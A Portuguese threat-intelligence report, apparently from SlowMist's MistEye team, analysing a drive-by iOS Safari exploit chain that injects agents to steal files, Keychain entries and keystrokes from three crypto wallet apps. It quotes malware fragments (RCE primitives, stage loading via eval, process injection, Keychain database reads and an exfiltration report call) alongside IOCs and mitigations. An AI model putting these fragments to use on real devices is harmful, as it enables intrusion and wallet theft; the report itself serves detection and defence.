Inteligência de ameaças｜iOS Safari DarkSword rouba ativos de carteiras

Contexto
Uma página de campanha que oferece VPS gratuito, na verdade, é um isco. A página recuperada de um arquivo público da web mostra que event[.]polarnode[.]vip, registrado no fim de agosto de 2026, declarou https[:]//lk[.]wyincc[.]com/lk.js como script de pré-carregamento; após a página se tornar interativa, ele é carregado automaticamente, sem necessidade de clique do visitante.
Depois de decodificar a amostra loader salva, confirmamos que ela é direcionada a iPhones executando iOS 18.4–18.6.2, entregue via Safari puro, e tem como objetivo final a coleta de arquivos, do Keychain e da digitação no teclado, visando três aplicativos de carteira. Essa cadeia é altamente consistente com a cadeia de exploração DarkSword para iOS divulgada pelo Google Threat Intelligence Group (GTIG), correspondendo a seis CVEs e configurando reutilização de n-day.

A análise deste artigo baseia-se no snapshot principal do loader do 1k[.]wyincc[.]com/lk[.]js e no snapshot do lk[.]wyincc[.]com/lk[.]js salvo pelo urlscan. As análises dos seis CVEs e das capacidades pós-exploração ficam limitadas ao encadeamento do /dist/sandbox.html.
Esse método não é um caso isolado. Em reportes simultâneos, o socket.dev divulgou que 13 temas maliciosos do Packagist exploram uma cadeia via WebKit até o kernel para roubar dados do dispositivo e palavras-mestre da carteira; os CVEs usados têm sobreposição com o DarkSword deste relatório.
A análise deste artigo é baseada em evidências estáticas; não executamos o sample, não abrimos o iframe e não repassamos nenhuma resposta ao navegador ou ao mecanismo JavaScript. A captura e composição de requisições remotas na fase de forense foram concluídas sob autorização separada, e não houve envio de dados reais do dispositivo. As descrições das capacidades do código no texto indicam apenas que o código possui implementações ou caminhos de chamada correspondentes; não significa que a ação relacionada tenha ocorrido com sucesso em um dispositivo real.
Resposta do MistEyeMistEye é um sistema de monitoramento dinâmico de segurança e inteligência de ameaças Web3 desenvolvido de forma independente pela SlowMist. Ele integra capacidades de monitoramento de segurança e agregação de inteligência, fornecendo aos usuários alertas de risco em tempo real e proteção de ativos.
Após receber o sample, o MistEye reconstruiu a cadeia de ataque completa — desde a filtragem do dispositivo, a entrega do iframe oculto até a exploração multiestágio e a pós-exploração. Extraiu domínios, IPs e IOCs de arquivos maliciosos relacionados e conectou o pacote malicioso e os IOCs ao mecanismo de detecção de ameaças; então enviou alertas de risco e recomendações de mitigação aos usuários relevantes.
A seguir, a análise técnica detalhada.
DecodificarO sample não tem caracteres de quebra de linha; é uma linha só. A ofuscação é dividida em três camadas: um array de strings com 1.025 itens; na inicialização, um IIFE desloca todo o array à esquerda; e transformações Base64 personalizadas e RC4 aplicadas a cada string.
abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=
O produto decodificado tem SHA-256 igual a 38b43a6d27b08ff94a600fbe8182b4a2ba0eb744f68801a2d3454431f78e9fa5. O decodificador lê apenas texto e realiza suas próprias transformações Base64/RC4; não avalia nenhum JavaScript.
Uma configuração fixa é restaurada em texto puro: serviço https[:]//lk[.]wyincc[.]com; endpoint SDK preferencial 13[.]248[.]210[.]49:36887; endpoint de backup 66[.]117[.]225[.]238:36887; heartbeat de 20 segundos; device_source 782391; identificador do cliente web-sdk V1.0. A configuração também incorpora uma chave pública RSA, com SHA-256 igual a 85ec8a4c83463565b3a517b6ee9d010fbf6643c49a67245c64b27bd8a0e43681; as próximas fases usam isso para criptografar o tráfego enviado para o endpoint do SDK.
Na configuração, vale destacar primeiro os três aplicativos-alvo: imToken (im.token.app), TokenPocket (com.global.wallet.ios) e TronLink (com.tronlink.hdwallet). O mesmo conjunto de identificadores aparece novamente mais tarde nas tarefas de coleta do teclado.
Direcionamento e entrega
A primeira coisa após decodificar é decidir para quem entregar a carga. O sample de loader do 1k[.]wyincc[.]com analisado no corpo principal usa /iPhone OS (\d+)[_.](\d+)/i para analisar navigator.userAgent; após simplificar aritmeticamente a ofuscação, a verificação de versão equivale a:
if (major !== 18 || minor < 4 || minor > 6) return;
Neste exemplo de loader, apenas as formas de iPhone do iOS 18.4–18.6.x conseguem passar. A verificação no navegador também exige que contenha simultaneamente Safari/, Version/ e Mobile/... Safari, e exclui o Chrome, Firefox, Opera e Edge no iOS (CriOS, FxiOS, OPiOS, EdgiOS), além de WebViews incorporadas do WeChat, QQ, Telegram e Alipay, bem como uma série de apps sociais e de notícias. A regex só corresponde ao iPhone OS e não corresponde ao CPU OS usado no iPad.
O snapshot do loader efetivamente referenciado pela página salva no urlscan não remove o ramo acima: um iPhone executando iOS 18.4–18.6.2 ainda entra em /dist/sandbox.html. Em comparação com o snapshot do loader da análise principal, ele também usa correspondência global do dispositivo iPhone|iPod, incluindo o iPod touch, e adiciona uma whitelist do iOS 15.2 até 17.1; versões antigas como essas são encaminhadas para o ramo adicional /group.html.
Visitantes que não passam pela filtragem não são simplesmente ignorados. O código oculta todos os elementos filhos da página atual e exibe uma dica multilíngue para o usuário copiar o endereço e abrir pelo Safari. Isso é uma dica de compatibilidade e também direciona ativamente o visitante para o ambiente de navegador necessário para a exploração.
Os visitantes filtrados entram na lógica de executar o lock e o cooling: ao receber as mensagens pe_injected e chain_locked, grava o estado local e os cookies, evitando disparo repetido pelo mesmo dispositivo. O UID é composto por um timestamp e caracteres aleatórios. Os dois listeners de mensagens apenas verificam event.data.type, sem validar event.origin ou event.source; outros frames na mesma página podem falsificar essas mensagens para disparar o lock ou o cooling antecipadamente.
cadeia de entregaA análise completa da cadeia de entrega a seguir aplica-se ao ramo /dist/sandbox.html que dois loaders mantêm em comum. O snapshot do loader realmente referenciado pela página inclui também um ramo em paralelo /group.html, mas esse caminho foi interceptado pelo WAF prévio com HTTP 403; não foi obtido o conteúdo a jusante. Portanto, este artigo não inclui esse ramo na linhagem DarkSword abaixo, nem nos seis CVEs, nem nas conclusões de capacidade de coleta de dados.
Após filtrar um iPhone executando iOS 18.4–18.6.2, o loader constrói um iframe escondido, com o template de endereço fixo em:
https://lk.wyincc.com/dist/sandbox.html?d=<URL-encoded Base64 JSON>
A passagem de configuração do loader inicial até sandbox.html é confirmada como concluída pelo parâmetro ?d= na URL. O parâmetro d carrega um Base64 JSON codificado por URL, que inclui origin do site atual, hostname, utm_source, UID de sessão e endpoints do SDK, chave pública RSA, device_source e configuração da carteira alvo. Como o UID e os campos do site são gerados em tempo de execução, não há uma URL fixa de terceira fase que possa ser restaurada previamente. Para seguir o rastreamento, usamos os parâmetros reconstruídos pela configuração sob condição de forense para obter o sandbox.html.
O iframe usa um trecho de estilo para ficar fora da tela e invisível. Depois, a página carrega os chunks via elementos script dinâmicos, como chunks/vendor.js. O vendor novamente verifica a versão e faz o roteamento: no iOS 18.6, baixa runtime.js e o encapsula em um Blob Worker; no iOS 18.4 e 18.5, baixa runtime-legacy.js e, além disso, busca e faz eval do polyfill.js na página. O caminho de RCE legacy é transmitido e sincronizado via postMessage entre o contexto da página e o contexto do Worker, coordenando a criação dos primitivos de RCE e a transferência para as fases posteriores. Isso difere do que foi descrito acima, que trata apenas de ouvintes de mensagens pe_injected e chain_locked responsáveis por executar o lock/controle de resfriamento.
Cada trecho após este só é baixado após o sucesso do trecho anterior. A cadeia inteira inclui duas camadas de fuga de sandbox; o código usa SBX0 e SBX1 como identificadores: SBX0 leva a execução do processo de conteúdo da página para o processo GPU, e SBX1 leva do processo GPU para o mediaplaybackd.
runtime.js (18.6) explora CVE-2025-43529 (dano de memória causado por um defeito de coleta de lixo no DFG JIT do JavaScriptCore), em conjunto com CVE-2026-20700 (bypass da autenticação de ponteiro PAC no modo PAC de userland dyld), para estabelecer primitivos de execução remota de código (RCE) do JavaScriptCore/WebKit: primitivos addrof (endereço de objeto), fakeobj (objeto falso), leitura/escrita arbitrária, tratamento de PAC (autenticação de ponteiro) e chamada nativa; então sincroniza para obter e eval de framework.js. runtime-legacy.js e polyfill.js fornecem os mesmos primitivos para 18.4/18.5, correspondendo a CVE-2025-31277 (dano de memória causado por otimização JIT/ confusão de tipo no JavaScriptCore) e CVE-2026-20700.
// runtime.js（18.6）—— primitivos de RCE
 function addrof(object){ return BigInt.fromDouble(p_rce.addrof(object)) }
function fakeobj(addr){ return p_rce.fakeobj(addr.asDouble()) }
// read32 / read64 / write8 / write64 são construídos no mesmo mecanismo fakeobj/scribble
// runtime.js —— passagem do SBX0 (eval framework.js)
 print("[RCE] Iniciando carregamento da fuga de sandbox SBX0...");
const sbx0_script = getJS("framework.js?" + Date.now());
eval(sbx0_script)
framework.js implementa SBX0 — explorando CVE-2025-14174 (validação insuficiente de parâmetros para uma operação específica no ANGLE/WebGL que leva a leituras/escritas fora dos limites) para levar a execução do processo de conteúdo da página ao processo GPU. Após o ramo SBX0 SUCCEEDED, carrega common.js; framework-legacy.js é o equivalente para legacy.
// framework.js —— ponto de entrada do SBX0
 print("[SBX0] ======== início do eval do sbx0_main.js ========");
const { write8, read32, read64, write64, dlopen, dlsym, device_model, chipset } = p;
O common.js implementa o SBX1 — aproveitando CVE-2025-43510 (defeito de gerenciamento de memória de escrita-e-cópia (COW) no kernel XNU) para escapar do processo do GPU para o mediaplaybackd, que possui permissões mais altas; inclui seus endpoints XPC, caminhos IOSurface/Scaler e o exemplo sbx1sbx1_exp. Em seguida, carrega app.js. O common-legacy.js reutiliza o app.js já existente.
// common.js —— âncora XPC do mediaplaybackd do SBX1 e passagem de elevação de privilégios
 let XPC_ENDPOINT_REMAKER = "com.apple.coremedia.mediaplaybackd.remaker.xpc";
remaker_connection = xpc_connection_create_mach_service(XPC_ENDPOINT_REMAKER, 0n, 0n);
function spawn_pe(){ LOG("Spawning PE...."); let pe_stage1_js_data_array = new Uint8Array([...]); }
app.js explora CVE-2025-43520 (dano de memória devido a condições de corrida no kernel do VFS do sistema de arquivos virtual XNU) para construir primitivos de leitura/escrita no kernel e escalonamento de privilégios; inclui encapsulamento de leitura/escrita no kernel, MigFilterBypass, extensão de sandbox applySandboxEscape, deleção de relatórios de crash e lógica de coordenação para obter três plugins e injetá-los em três processos do sistema. Os três plugins são sync.js, auth.js e input.js, e são restaurados três scripts de tarefa correspondentes, um para cada tipo de plugin.
// app.js —— entrada de leitura/escrita no kernel e escalonamento de privilégios
 let kernel_base = 0n; let kernel_slide = 0n; let is_a18_devices = false;
function pe_v1() { /* ... */ }
Três caminhos de injeção iniciam uma vez um HTTP GET em texto puro para obter o plugin e, em seguida, entregam a resposta ao processo correspondente:
var inject = new InjectJS("SpringBoard", agentCode, migFilterBypass);
if (inject.inject()) { ... }
Os três alvos são SpringBoard (sync.js), securityd (auth.js) e kbd (input.js). Os três scripts de tarefa recuperados correspondem a esses três tipos de plugins, e o código coordena a injeção de um agente de tarefa. As strings de ramificação SBX0 SUCCEEDED e SBX1 SUCCEEDED no código são strings de estado, não logs de sucesso observados por nós.
Sobre a origem, vale adicionar uma observação. lk[.]wyincc[.]com retorna HTTP 403 para recursos do ramo legacy (runtime-legacy.js, polyfill.js, framework-legacy.js, common-legacy.js). Nós obtivemos esses quatro arquivos a partir do nó de hospedagem da carga associada em 1k[.]wyincc[.]com. Esse nó já havia sido verificado anteriormente como idêntico byte a byte às respostas do host efetivamente referenciado na página, tanto em vendor.js quanto em runtime.js; porém não afirmamos que esses arquivos legacy sejam equivalentes byte a byte às respostas lk que não conseguimos obter. Os dois recursos condicionais powercuff_light.js e chain_status_overlay.js retornaram 403 no host realmente usado pela página, e o nó da carga associada retornou 404 HTML; não há scripts analisáveis.
Linhagem DarkSwordHá algumas marcas únicas no código que coincidem com uma ferramenta registrada publicamente. O app.js contém os comentários "If iOS >= 18.4 we apply migbypass in order to bypass autobox restrictions", além da classe MigFilterBypass, Chain.runPE() seguida de Sandbox.applySandboxEscape(), exclusão do diretório systemgroup.com.apple.osanalytics/DiagnosticReports/ e referência à ferramenta startSandworm. O roteamento por versão (18.4/18.5 versus 18.6) e as responsabilidades em fases de SBX0 → SBX1 → PE também são consistentes com a análise do DarkSword divulgada pelo GTIG. Anúncios de segurança da Apple confirmaram separadamente os CVEs e versões corrigidas correspondentes.
O app.js após a desofuscação preserva algumas marcas diretamente reconhecíveis:
// app.js —— roteamento por versão migbypass (comentário único do DarkSword)
 // Se iOS >= 18.4, aplicamos migbypass para contornar restrições do autobox
 if (ver.major == 24 && ver.minor >= 4) { /* migbypass */ }

// encapsulamento de leitura/escrita do kernel dentro do Chain em MigFilterBypassThread.js embutido
 static runPE() { /* ... */ }
static getKernelBase() { /* ... */ }
static read(srcAddr, dst, len) { /* ... */ }
static write(dst, src, len) { /* ... */ }

// referência à ferramenta startSandworm (mantida como comentário no código-fonte)
 // let baseKernel = startSandworm();
Com base nisso, mapeamos o estágio local para seis CVEs:
Quando o GTIG observou inicialmente o DarkSword, CVE-2025-43529, CVE-2026-20700 e CVE-2025-14174 eram 0day em campo; até a atividade WYINCC de setembro de 2026, os seis bugs já estavam divulgados e corrigidos pela Apple. Portanto, a entrega atual é a reutilização n-day da cadeia de seis vulnerabilidades do DarkSword. As versões corrigidas e o estado histórico de 0day baseiam-se nos relatórios do GTIG e em anúncios de segurança da Apple.
três tarefas C2Para descobrir o que a cadeia faz finalmente com o proxy injetado, sob autorização separada usamos um UID sintético e um campo de site vazio para enviar, em cada uma das duas portas de SDK, as menores requisições requestJsCode; foram duas requisições para cada endpoint. Todo o processo não enviou registros de registro de dispositivo, heartbeats, Keychain, teclado ou dados de aplicativos.
O endpoint preferencial 13[.]248[.]210[.]49:36887 respondeu com 54.773 bytes em duas tentativas de conexão; o endpoint de backup 66[.]117[.]225[.]238:36887 respondeu vazio nas duas tentativas. A resposta é criptografada com AES-256-GCM e encapsulada em quadros SSP2. Utilizamos as chaves de sessão salvas para decodificação offline, descompressão LZFSE e validação SSP2/JSON/Base64, recuperando três scripts de tarefas. Nenhuma das três tarefas foi executada.
As três tarefas correspondem, cada uma, a um processo injetado:
As tarefas do SpringBoard são configuradas pelo apps_json do servidor: fazem enumeração recursiva de arquivos a partir do contêiner da aplicação, AppGroup compartilhado ou caminho absoluto, com upload em blocos; anexam SHA-256 por arquivo e suporte a retomada por interrupção. Quando task_type for 1 ou 4, também fazem Base64 decode e fazem eval do JavaScript fornecido pelo servidor, retornando o resultado.
A tarefa securityd abre /private/var/Keychains/keychain-2.db, consulta as tabelas genp e inet e, usando a classe privada SecDbKeychainItemV7, descriptografa o blob de data; em seguida, extrai v_Data, acct, svce, agrp e reporta.
A tarefa kbd monitora o aplicativo em primeiro plano; quando o aplicativo-alvo de wallet está em primeiro plano, faz polling do ivar interno do teclado (_inputString, _contextBeforeInput, _contextAfterInput). Ao terminar a entrada ou ao alternar de aplicativo, envia o conteúdo em cache como reportAppPwd.
Coleta de KeychainA tarefa securityd corresponde ao plugin auth.js. Após o app.js recuperar GET /dist/plugins/auth.js, ele injeta o código no securityd com InjectJS("securityd", ...). Usando a chamada nativa criada na cadeia (dlsym, objc_msgSend), ele chama ObjC diretamente a partir do JavaScript, abrindo somente leitura o repositório do keychain:
sqlite3_open_v2("/private/var/Keychains/keychain-2.db", dbHandlePtr, SQLITE_OPEN_READONLY, 0)
Ele percorre apenas duas tabelas: genp (senhas genéricas) e inet (senhas da Internet) (SELECT * filtrando por agrp LIKE '%keyword%'); no máximo 500 linhas por tabela. Quando a keyword é vazia, degrada para 1=1 e percorre tudo. A coluna data contém BLOBs criptografados. O código não quebra keybag; em vez disso, usa métodos já presentes no securityd, chamando dinamicamente as funções da classe privada SecDbKeychainItemV7 (como initWithData:decryptionKeybag:error: etc.) para descriptografar, ler o valor secreto v_Data e extrair acct, svce, agrp:
var tables = ["genp", "inet"];
var cls = ncall("objc_getClass", _sp("SecDbKeychainItemV7"));
task_type == 3 aciona dump (as palavras-chave vêm de apps_json do servidor ou content); quando task_type == 4, também pode expandir a coleta via eval de scripts do servidor. O resultado é enviado por um canal C2 encapsulado em SSP2 / AES-256-GCM / RSA via reportKeychain:
sendReport("reportKeychain", { keychain: b64, task_id: taskId || "" });
ResumoConfirmamos que isso é um framework de exploração e pós-exploração multiestágio acionado por acesso, voltado a iPhones com Safari puro em iOS 18.4–18.6.2, correspondendo à linhagem DarkSword. O risco recai sobre três aplicativos de carteira — imToken, TokenPocket e TronLink —: o código tem capacidades de RCE no navegador, fuga de sandbox em duas camadas, leitura/escrita no kernel e capacidade de injetar agentes nos processos SpringBoard, securityd e kbd, além de coletar alvos que abrangem arquivos, Keychain e entradas do teclado.
As três observações do GTIG sobre o DarkSword que já estavam em campo como 0day e que também ficaram públicas e com correção da Apple nesta atividade. A entrega atual do WYINCC deve ser classificada como reutilização n-day de uma cadeia com seis vulnerabilidades. O snapshot do loader efetivamente referenciado na página lk[.]wyincc[.]com também contém um ramo /group.html voltado para versões antigas de iOS e iPod touch, que foi interceptado pelo WAF prévio com HTTP 403 e não teve seu conteúdo a jusante obtido; portanto, as conclusões de seis CVEs e coleta de dados só se aplicam ao ramo /dist/sandbox.html.
RecomendaçãoNo limite de rede (proxy, DNS, EDR/NDR), bloquear os domínios wyincc[.]com e polarnode[.]vip e os três endpoints 36887. Na busca nos logs, identificar acessos de UAs de iPhone com iOS 18.4–18.6.2 às rotas como /dist/sandbox.html, /dist/chunks/ e /dist/plugins/. Também buscar acessos de UAs de iOS 15.2 a 17.1 (incluindo possivelmente iPod touch) à rota /group.html. A primeira situação pertence à cadeia completa conhecida já exposta; a segunda só confirma o acerto nos ramos a jusante não obtidos desta vez, e não permite aplicar diretamente as conclusões dos seis CVEs ou da coleta de dados da carteira.
Se o seu próprio site já foi injetado com esse script, remova o script do site e de caches de CDN e de armazenamento de objetos; verifique a origem das inclusões do template, do gerenciador de tags e do sistema de anúncios. Em seguida, implemente restrições CSP/SRI para impedir que scripts de terceiros herdem o contexto do site.
Para dispositivos iPhone que certamente acessaram a página de entrega e executaram Safari no iOS 18.4–18.6.2, priorizar a forense: coletar histórico do Safari, crashes do WebKit, anomalias de processos e registros de acesso ao Keychain. Para dispositivos iPhone ou iPod touch com iOS 15.2 a 17.1 que atinjam /group.html, manter evidências básicas semelhantes; porém não concluir sucesso da exploração ou que os dados foram coletados apenas com base no acerto da rota.
Para usuários que usam as três carteiras-alvo a seguir: imToken, TokenPocket e TronLink. Com base nos resultados de forense do dispositivo, decida se deve trocar credenciais, revogar sessões, monitorar endereços e transações na cadeia; não conclua apenas a partir de registros de acesso que chaves privadas ou palavras-mestre vazaram.
Atualize o dispositivo para versões já corrigidas pela Apple (iOS/iPadOS 18.7.3 ou superior, ou 26.3 ou superior) e mantenha as respostas originais, chaves de sessão e hashes para análises de correlação posteriores.
IOC
Domínio
1k[.]wyincc[.]com
lk[.]wyincc[.]com
event[.]polarnode[.]vip
polarnode[.]vip

IP
13[.]248[.]210[.]49 
66[.]117[.]225[.]238 
166[.]117[.]225[.]238

URL
13[.]248[.]210[.]49:36887
66[.]117[.]225[.]238:36887
166[.]117[.]225[.]238:36887
https[.]//lk[.]wyincc[.]com/lk.js
https[.]//1k[.]wyincc[.]com/lk.js
Arquivo malicioso
filename: lk.js 
SHA256: 89912ab03eb2d02746e52df7b17035082d973234f249098caec11684e665c337
filename: lk.js
SHA256: 892dd644ea9a10fd4d89c54d6cfe1028487c3fc23d3f29723af9004b6edf8c70
filename: sandbox.html 
SHA256: 953cfa9bf94304ad453eab706cd7cc92cde68eb6ea3c85652aa9040609e75f54
filename: vendor.js 
SHA256: 52e2208a37c6dda971c9a67333dbcf526531745feb426a91ace9741ad178f510
filename: runtime.js 
SHA256: a5ebcbd5c744865535dd75d8742c99bc06b548dc2606ac6f116843b54451f73b
filename: runtime-legacy.js 
SHA256: afdb430bafc3c441ada98fe4a165fd1ad3a38ff5789517c5dd3f83a143706d53
filename: polyfill.js 
SHA256: f0409f0d1c134be43dcd697b4715cca64efa66e482d252744163f552050cd236
filename: framework.js 
SHA256: 78973b4d04cb6fee3c399937476347eca0aa9b99fa13596fe9dfaff829aba03b
filename: framework-legacy.js 
SHA256: 36b43f98c7f4d2d5a0f14ce8a5bdfd2fc055f8628da4a2d9ece2402385447f1e
filename: common.js 
SHA256: 69e357f06ee87ea934b328c4e701d1d48dcfcef51352bb61c64ef89424c029d8
filename: common-legacy.js 
SHA256: 693af544eb4deb194f481a870f1202fefb0c278820bb23bced85cd354d29a63e
filename: app.js 
SHA256: ab356a2bbdbb7f8e9327e10a2cf6d35ca0c4dbba06d982f559b00d13d31f3017
filename: sync.js 
SHA256: 6eda3586102cf35ca53189accd2f56fec63a8adf74ccf93b59aed1e7651a690f
filename: auth.js 
SHA256: 78406a0c68043df99cea87f280e8307675c285ca9d88f5a56aa9901c6f503d11
filename: input.js 
SHA256: 3a2341a13a7c4854bc203be18eebd11f716e043540a91974ef6d6d12253f6c9d
Sobre MistEye
MistEye é uma plataforma de monitoramento dinâmico de segurança e inteligência de ameaças Web3 desenvolvida de forma independente pela SlowMist. Ela oferece, via API, capacidades de detecção de atividades maliciosas no ecossistema de pacotes open-source e alertas preventivos de risco na cadeia de suprimentos.

Todos os pacotes maliciosos e IOCs envolvidos nesta operação já foram integrados ao mecanismo de detecção de ameaças do MistEye. Os desenvolvedores podem, via API, realizar detecção automatizada das dependências de um projeto, identificar rapidamente se atingiu um pacote malicioso conhecido e obter recomendações de mitigação.

📖 Documentação da API: https://app.misteye.io/api-docs

🛠️ MistEye-DepScan: https://github.com/slowmist/MistEye-DepScan — ferramenta CLI leve. Um comando para escanear dependências do projeto e pacotes instalados globalmente que sejam conhecidos por serem maliciosos; suporta ecossistemas npm / PyPI / Cargo / Go / RubyGems

🛠️ MistEye-Skills: https://github.com/slowmist/misteye-skills — pacote de habilidades de segurança para assistente de codificação. Dispara automaticamente as detecções de segurança do MistEye antes, durante ou após a instalação de dependências e o acesso via URL

🛠️ MistEye-DNS-Guard: https://github.com/slowmist/MistEye-DNS-Guard — ferramenta de proteção de segurança que detecta domínios maliciosos e acessos de risco, identificando ameaças de rede como phishing e C2

Este artigo foi escrito pela equipe de inteligência de ameaças da SlowMist em conjunto com o sistema de inteligência de ameaças MistEye e análise orientada por IA do SlowMist Agent. Em caso de dúvidas, sinta-se à vontade para entrar em contato e nos dar feedback.

Referência
[1]https://socket.dev/blog/packagist-themes-ios-spyware
[2]https://cloud.google.com/blog/topics/threat-intelligence/darksword-ios-exploit-chain
[3]https://support.apple.com/en-bw/125885
[4]https://support.apple.com/en-me/125633
[5]https://support.apple.com/en-us/126346
[6]https://www.nodeseek.com/post-905477-1 